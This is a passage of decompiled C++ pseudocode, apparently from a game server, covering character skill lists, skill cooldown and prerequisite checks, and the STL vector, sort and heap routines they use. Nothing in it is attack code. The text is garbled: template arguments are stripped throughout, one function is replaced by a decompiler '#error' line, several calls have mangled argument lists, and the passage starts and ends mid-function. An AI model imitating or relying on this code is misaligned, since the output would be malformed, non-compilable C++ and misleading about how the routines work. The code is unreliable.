*((_DWORD *)v2 + 1) = 0; BitSet::_BitSet(v1); } //----- (0043BFD0) -------------------------------------------------------- CharaterSkillList::CharSkill *__thiscall std::vector>::_Ufill(std::vector > *this, CharaterSkillList::CharSkill *_Ptr, unsigned int _Count, CharaterSkillList::CharSkill *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0043C000) -------------------------------------------------------- void __cdecl std::_Insertion_sort>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { std::vector >::iterator v3; // ebx@1 int i; // esi@2 CharaterSkillList::CharSkill *v5; // edi@7 std::vector >::iterator v6; // ebx@8 v3 = _First; if ( _First != _Last ) { for ( i = *(_DWORD *)&_First + 20; i != _Last; i += 20 ) { if ( _Pred((CharaterSkillList::CharSkill *)i, *(CharaterSkillList::CharSkill **)&v3) ) { if ( v3 != i ) { if ( i != i + 20 ) std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>( v3, (std::vector >::iterator)i, (std::vector >::iterator)(i + 20), 0, 0); } } else { v5 = (CharaterSkillList::CharSkill *)(i - 20); if ( _Pred((CharaterSkillList::CharSkill *)i, (CharaterSkillList::CharSkill *)(i - 20)) ) { do { v6 = (std::vector >::iterator)v5; --v5; } while ( _Pred((CharaterSkillList::CharSkill *)i, v5) ); if ( v6 != i && i != i + 20 ) std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>( v6, (std::vector >::iterator)i, (std::vector >::iterator)(i + 20), 0, 0); v3 = _First; } } } } } //----- (0043C0A0) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::_SkillDataIndex(SkillDataBox::SkillDataIndex *this) { SkillDataBox::SkillDataIndex *v1; // esi@1 v1 = this; if ( this->sdi_ToggleData._Myfirst ) operator delete(this->sdi_ToggleData._Myfirst); v1->sdi_ToggleData._Myfirst = 0; v1->sdi_ToggleData._Mylast = 0; v1->sdi_ToggleData._Myend = 0; if ( v1->sdi_ActiveSkillGroups._Myfirst ) operator delete(v1->sdi_ActiveSkillGroups._Myfirst); v1->sdi_ActiveSkillGroups._Myfirst = 0; v1->sdi_ActiveSkillGroups._Mylast = 0; v1->sdi_ActiveSkillGroups._Myend = 0; } //----- (0043C0E0) -------------------------------------------------------- CharaterSkillList::CharSkill *__thiscall CharaterSkillList::csl_GetSkillStruct(CharaterSkillList *this, std::vector >::iterator skl) { CharaterSkillList *v2; // esi@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator v4; // ebx@2 CharaterSkillList::CharSkill *result; // eax@3 CharaterSkillList::CharSkill compare; // [sp+10h] [bp-14h]@3 v2 = this; v3 = (std::vector >::iterator)this->csl_Skill._Myfirst; if ( !*(_DWORD *)&v3 || (v4 = (std::vector >::iterator)this->csl_Skill._Mylast, !((signed int)((char *)this->csl_Skill._Mylast - *(_DWORD *)&v3) / 20)) || (compare.cs_SkillId = *(_WORD *)&skl, std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( &skl, v3, v4, &compare, CharaterSkillList::CharSkill::cs_Compare_STLVer, 0), result = (CharaterSkillList::CharSkill *)skl, (CharaterSkillList::CharSkill *)skl == v2->csl_Skill._Mylast) || compare.cs_SkillId < **(_WORD **)&skl ) result = 0; return result; } //----- (0043C160) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_IsLearn(CharaterSkillList *this, unsigned __int16 skill) { CharaterSkillList *v2; // esi@1 bool v3; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_IsLearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_IsLearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = CharaterSkillList::csl_GetSkillStruct(v2, skill) != 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_IsLearn"); return v3; } //----- (0043C210) -------------------------------------------------------- #error "43C210: undefined or illegal type '#734' (funcsize=75)" //----- (0043C340) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_UpdateCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int eoct) { CharaterSkillList *v3; // esi@1 CharaterSkillList::CharSkill *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_UpdateCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_UpdateCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = CharaterSkillList::csl_GetSkillStruct(v3, skill); if ( !v4 ) { AssertClass::ac_AssertFail(&shineassert, "CharaterSkillList::csl_UpdateCoolTime : Not learn", skill); LABEL_3: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UpdateCoolTime"); return 0; } if ( v4->cs_EndOfCooltime <= eoct ) goto LABEL_3; v4->cs_EndOfCooltime = eoct; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UpdateCoolTime"); return 1; } //----- (0043C440) -------------------------------------------------------- void __thiscall CharacterPassiveList::CharacterPassiveList(CharacterPassiveList *this) { CharacterPassiveList *v1; // edi@1 v1 = this; BitSet::BitSet(&this->cpl_Passive, 1000); v1->cpl_SetAbstateList._Myhead = std::list>::_Buynode(&v1->cpl_SetAbstateList); v1->cpl_SetAbstateList._Mysize = 0; std::list>::clear((std::list,std::allocator > > *)&v1->cpl_SetAbstateList); } //----- (0043C4A0) -------------------------------------------------------- void __cdecl std::sort_heap>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v3; // eax@1 int v4; // esi@2 _BYTE v5[20]; // ST0C_20@3 v3 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v3 > 1 ) { v4 = *(_DWORD *)&_Last - 20; if ( v3 <= 1 ) goto LABEL_4; do { *(_DWORD *)v5 = *(_DWORD *)v4; *(_QWORD *)&v5[4] = *(_QWORD *)(v4 + 4); *(_QWORD *)&v5[12] = *(_QWORD *)(v4 + 12); std::_Pop_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, (std::vector >::iterator)v4, (std::vector >::iterator)v4, *(CharaterSkillList::CharSkill *)v5, _Pred, 0); LABEL_4: v4 -= 20; } while ( (20 - *(_DWORD *)&_First + v4) / 20 > 1 ); } } //----- (0043C530) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_PreSkillCheck(CharaterSkillList *this, #734 *a2, const char *preskill) { CharaterSkillList *v3; // esi@1 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_PreSkillCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_PreSkillCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *preskill == 45 || (*(_DWORD *)&skillbtreeunion = BTree::operator__(&skillnametree, preskill), CharaterSkillList::csl_IsLearn(v3, skillbtreeunion)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_PreSkillCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_PreSkillCheck"); result = 0; } return result; } //----- (0043C610) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0043C680) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CharaterSkillList::CharSkill *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // edx@1 CharaterSkillList::CharSkill *v6; // ebx@1 int v7; // ecx@1 unsigned int v8; // edx@1 int v9; // eax@1 unsigned int v10; // ecx@2 signed int v11; // edx@3 unsigned int v12; // edi@4 int v13; // eax@6 int v14; // eax@11 int v15; // ecx@15 int v16; // eax@18 int v17; // ebx@22 CharaterSkillList::CharSkill *v18; // ST18_4@22 int v19; // eax@22 int v20; // edi@24 CharaterSkillList::CharSkill *v21; // ecx@27 std::vector >::iterator v22; // ebx@27 CharaterSkillList::CharSkill *v23; // ecx@28 CharaterSkillList::CharSkill *v24; // ST24_4@28 unsigned int v25; // edi@28 int v26; // [sp+0h] [bp-30h]@1 int _Tmp; // [sp+Ch] [bp-24h]@1 unsigned int v28; // [sp+10h] [bp-20h]@1 int v29; // [sp+14h] [bp-1Ch]@1 unsigned int v30; // [sp+18h] [bp-18h]@1 int v31; // [sp+1Ch] [bp-14h]@1 int *v32; // [sp+20h] [bp-10h]@1 int v33; // [sp+2Ch] [bp-4h]@22 CharaterSkillList::CharSkill *_Wherea; // [sp+38h] [bp+8h]@29 CharaterSkillList::CharSkill *_Counta; // [sp+3Ch] [bp+Ch]@22 void *_Newvec; // [sp+40h] [bp+10h]@22 CharaterSkillList::CharSkill *_Newveca; // [sp+40h] [bp+10h]@27 v4 = this; v5 = _Val->cs_EndOfCooltime; v6 = this->_Myfirst; _Tmp = *(_DWORD *)&_Val->cs_SkillId; v7 = *(_DWORD *)&_Val->cs_Empower._bf0; v28 = v5; v8 = _Val->cs_Mastery; v9 = _Val->cs_bSave; v32 = &v26; v29 = v7; v30 = v8; v31 = v9; if ( v6 ) { v11 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v10 = v11 + ((unsigned int)v11 >> 31); } else { v10 = 0; } v12 = _Count; if ( _Count ) { if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - v13) < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v14 = v4->_Mylast - v6; else v14 = 0; if ( v10 >= _Count + v14 ) { v21 = v4->_Mylast; v22 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v21[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v21[-_Count], v21, v21, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v21 - 20 * _Count)); std::_Copy_backward_opt( *(CharaterSkillList::CharSkill **)&v22, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(CharaterSkillList::CharSkill **)&v22, (CharaterSkillList::CharSkill *)(*(_DWORD *)&v22 + 20 * _Count), (CharaterSkillList::CharSkill *)&_Tmp); } else { std::_Uninit_copy>( *(CharaterSkillList::CharSkill **)&_Where, v21, (CharaterSkillList::CharSkill *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(20 * _Count)); v23 = v4->_Mylast; v24 = v4->_Mylast; v33 = 2; std::vector>::_Ufill( v4, v24, _Count - (signed int)((char *)v23 - *(_DWORD *)&_Where) / 20, (CharaterSkillList::CharSkill *)&_Tmp); v25 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (CharaterSkillList::CharSkill *)v25; std::fill( *(CharaterSkillList::CharSkill **)&_Where, (CharaterSkillList::CharSkill *)(v25 - 20 * _Count), (CharaterSkillList::CharSkill *)&_Tmp); } } else { if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - (v10 >> 1)) >= v10 ) v15 = (v10 >> 1) + v10; else v15 = 0; if ( v6 ) v16 = v4->_Mylast - v6; else v16 = 0; if ( v15 < _Count + v16 ) v15 = _Count + std::vector>::size((std::vector > *)v4); v17 = 20 * v15; _Newvec = operator new(20 * v15); v18 = v4->_Myfirst; v33 = 0; _Counta = std::_Uninit_copy>( v18, *(CharaterSkillList::CharSkill **)&_Where, (CharaterSkillList::CharSkill *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v12, (CharaterSkillList::CharSkill *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(CharaterSkillList::CharSkill **)&_Where, v4->_Mylast, &_Counta[v12], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v19 = (int)v4->_Myfirst; if ( v19 ) v19 = (signed int)((char *)v4->_Mylast - v19) / 20; v20 = v19 + v12; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (CharaterSkillList::CharSkill *)((char *)_Newvec + v17); v4->_Mylast = (CharaterSkillList::CharSkill *)((char *)_Newvec + 20 * v20); v4->_Myfirst = (CharaterSkillList::CharSkill *)_Newvec; } } } //----- (0043C950) -------------------------------------------------------- void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count) { unsigned int v2; // eax@1 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v5; // [sp+50h] [bp-4h]@2 v2 = this->_Mysize; if ( 1073741823 - v2 < _Count ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "list too long", 0x10u); v5 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } this->_Mysize = _Count + v2; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0043C9F0) -------------------------------------------------------- void __cdecl std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, int _Ideal, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { std::vector >::iterator v4; // ebx@1 std::vector >::iterator v5; // edi@1 int v6; // eax@1 signed int v7; // esi@2 std::vector >::iterator v8; // ebp@4 signed int v9; // edx@12 std::vector >::iterator _Mid; // [sp+10h] [bp-8h]@4 std::vector >::iterator v11; // [sp+14h] [bp-4h]@4 v4 = _First; v5 = _Last; v6 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v6 <= 32 ) goto LABEL_8; v7 = _Ideal; while ( v7 > 0 ) { std::_Unguarded_partition>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::pair >::iterator,std::vector >::iterator> *)&_Mid, v4, v5, _Pred); v8 = v11; v7 = v7 / 2 / 2 + v7 / 2; if ( (*(_DWORD *)&_Mid - *(_DWORD *)&v4) / 20 >= (*(_DWORD *)&v5 - *(_DWORD *)&v11) / 20 ) { std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v11, v5, v7, _Pred); v5 = _Mid; } else { std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, _Mid, v7, _Pred); v4 = v8; } v6 = (*(_DWORD *)&v5 - *(_DWORD *)&v4) / 20; if ( v6 <= 32 ) goto LABEL_8; } if ( v6 <= 32 ) { LABEL_8: if ( v6 > 1 ) std::_Insertion_sort>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, v5, _Pred); } else { v9 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&v5 - *(_DWORD *)&v4)) >> 32) >> 3; if ( (signed int)(v9 + ((unsigned int)v9 >> 31)) > 1 ) std::_Make_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, v5, _Pred, 0, 0); std::sort_heap>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v4, v5, _Pred); } } //----- (0043CB40) -------------------------------------------------------- void __thiscall CharaterSkillList::_CharaterSkillList(CharaterSkillList *this) { CharaterSkillList *v1; // esi@1 v1 = this; if ( this->csl_ToggleSkill._Myfirst ) operator delete(this->csl_ToggleSkill._Myfirst); v1->csl_ToggleSkill._Myfirst = 0; v1->csl_ToggleSkill._Mylast = 0; v1->csl_ToggleSkill._Myend = 0; v1->csl_ToggleSkill._Myfirst = 0; v1->csl_ToggleSkill._Mylast = 0; v1->csl_ToggleSkill._Myend = 0; if ( v1->csl_Skill._Myfirst ) operator delete(v1->csl_Skill._Myfirst); v1->csl_Skill._Myfirst = 0; v1->csl_Skill._Mylast = 0; v1->csl_Skill._Myend = 0; } //----- (0043CBA0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 CharaterSkillList::CharSkill *v3; // eax@3 unsigned int v4; // ebx@6 CharaterSkillList::CharSkill *v5; // ST04_4@6 CharaterSkillList::CharSkill *v6; // ST00_4@6 CharaterSkillList::CharSkill *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > (unsigned int)&ddt.ddt_Table[2021][1471].direct ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; if ( v3 ) v3 = (CharaterSkillList::CharSkill *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 20 * _Count; _Ptr = operator new(20 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>( v6, v5, (CharaterSkillList::CharSkill *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) operator delete(v2->_Myfirst); v2->_Myend = (CharaterSkillList::CharSkill *)((char *)_Ptr + v4); v2->_Mylast = (CharaterSkillList::CharSkill *)((char *)_Ptr + 20 * v8); v2->_Myfirst = (CharaterSkillList::CharSkill *)_Ptr; } } //----- (0043CC73) -------------------------------------------------------- void __usercall _L177504(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (0043CC90) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, CharaterSkillList::CharSkill _Val) { std::vector > *v3; // esi@1 CharaterSkillList::CharSkill *v4; // ecx@1 int v5; // eax@2 int v6; // eax@6 CharaterSkillList::CharSkill *v7; // edi@10 CharaterSkillList::CharSkill *v8; // eax@11 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = v3->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = v3->_Mylast; if ( _Newsize < v3->_Mylast - v4 ) { v8 = &v4[_Newsize]; if ( v8 != v7 ) v3->_Mylast = std::_Copy_opt( v7, v7, v8, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v4 ) v6 = v3->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( v3, (std::vector >::iterator)v3->_Mylast, _Newsize - v6, &_Val); } } //----- (0043CD40) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, CharaterSkillList::CharSkill *_Val) { std::vector > *v4; // edi@1 CharaterSkillList::CharSkill *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0043CDB0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CharaterSkillList::CharacterToggleSkill *_Val) { std::vector > *v4; // esi@1 CharaterSkillList::CharacterToggleSkill *v5; // edx@1 CharaterSkillList::CharacterToggleSkill *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // edi@25 std::list,std::allocator > >::iterator *v15; // ST14_4@25 CharaterSkillList::CharacterToggleSkill *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::list,std::allocator > >::iterator *v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 std::list,std::allocator > >::iterator *v24; // ST20_4@32 int v25; // ebx@32 std::list,std::allocator > >::iterator *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-28h]@31 int v28; // [sp+0h] [bp-24h]@1 void *_Newvec; // [sp+Ch] [bp-18h]@25 int v30; // [sp+10h] [bp-14h]@25 int *v31; // [sp+14h] [bp-10h]@1 int v32; // [sp+20h] [bp-4h]@25 unsigned int _Wherea; // [sp+2Ch] [bp+8h]@31 std::list,std::allocator > >::iterator *_Countb; // [sp+30h] [bp+Ch]@25 std::list,std::allocator > >::iterator *_Counta; // [sp+30h] [bp+Ch]@31 v4 = this; v5 = this->_Myfirst; v6 = *(CharaterSkillList::CharacterToggleSkill **)&_Val->cts_nSkillID; v31 = &v28; _Val = v6; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( 1073741823 - v9 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2 < _Count; v22 = 4 * _Count; _Wherea = 4 * _Count; v27.dummy[0] = 4 * _Count; _Counta = (std::list,std::allocator > >::iterator *)v4->_Mylast; if ( v21 ) { std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&v20, v19, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + v22), (std::allocator,std::allocator > >::iterator> *)v4, v27); v23 = v8 - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v20) >> 2); v24 = (std::list,std::allocator > >::iterator *)v4->_Mylast; v32 = 2; std::vector>::_Ufill( (std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *)&_Val); v25 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (CharaterSkillList::CharacterToggleSkill *)v25; std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(v25 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { v26 = &v19[-v22 / 4u]; v4->_Mylast = (CharaterSkillList::CharacterToggleSkill *)std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( &v19[-v22 / 4u], v19, v19, (std::allocator,std::allocator > >::iterator> *)v4, v27); std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>( *(std::list,std::allocator > >::iterator **)&v20, v26, _Counta); std::fill( *(std::list,std::allocator > >::iterator **)&v20, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v20 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v5 ) v13 = v4->_Mylast - v5; else v13 = 0; v11 = _Count + v13; } v30 = 4 * v11; v14 = operator new(4 * v11); v15 = (std::list,std::allocator > >::iterator *)v4->_Myfirst; _Newvec = v14; v32 = 0; _Countb = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v15, *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v14, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Countb, v8, (std::list,std::allocator > >::iterator *)&_Val, (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v4->_Mylast, &_Countb[v8], (std::allocator,std::allocator > >::iterator> *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (CharaterSkillList::CharacterToggleSkill *)((char *)v14 + v30); v4->_Mylast = (CharaterSkillList::CharacterToggleSkill *)((char *)v14 + 4 * v18); v4->_Myfirst = (CharaterSkillList::CharacterToggleSkill *)v14; } } } //----- (0043CFF0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, CharaterSkillList::CharSkill *_Val) { std::vector > *v2; // esi@1 CharaterSkillList::CharSkill *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 CharaterSkillList::CharSkill *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0043D080) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::SkillDataIndex(SkillDataBox::SkillDataIndex *this) { this->sdi_ActiveSkillGroups._Myfirst = 0; this->sdi_ActiveSkillGroups._Mylast = 0; this->sdi_ActiveSkillGroups._Myend = 0; this->sdi_ToggleData._Myfirst = 0; this->sdi_ToggleData._Mylast = 0; this->sdi_ToggleData._Myend = 0; } //----- (0043D0C0) -------------------------------------------------------- void __thiscall CharaterSkillList::CharaterSkillList(CharaterSkillList *this) { CharaterSkillList *v1; // esi@1 v1 = this; this->csl_Skill._Myfirst = 0; this->csl_Skill._Mylast = 0; this->csl_Skill._Myend = 0; this->csl_ToggleSkill._Myfirst = 0; this->csl_ToggleSkill._Mylast = 0; this->csl_ToggleSkill._Myend = 0; std::vector>::reserve( &this->csl_Skill, 0xBB8u); v1->csl_SkillNumber = 0; if ( v1->csl_ToggleSkill._Myfirst ) operator delete(v1->csl_ToggleSkill._Myfirst); v1->csl_ToggleSkill._Myfirst = 0; v1->csl_ToggleSkill._Mylast = 0; v1->csl_ToggleSkill._Myend = 0; } //----- (0043D140) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_CheckDefSkill(CharaterSkillList *this) 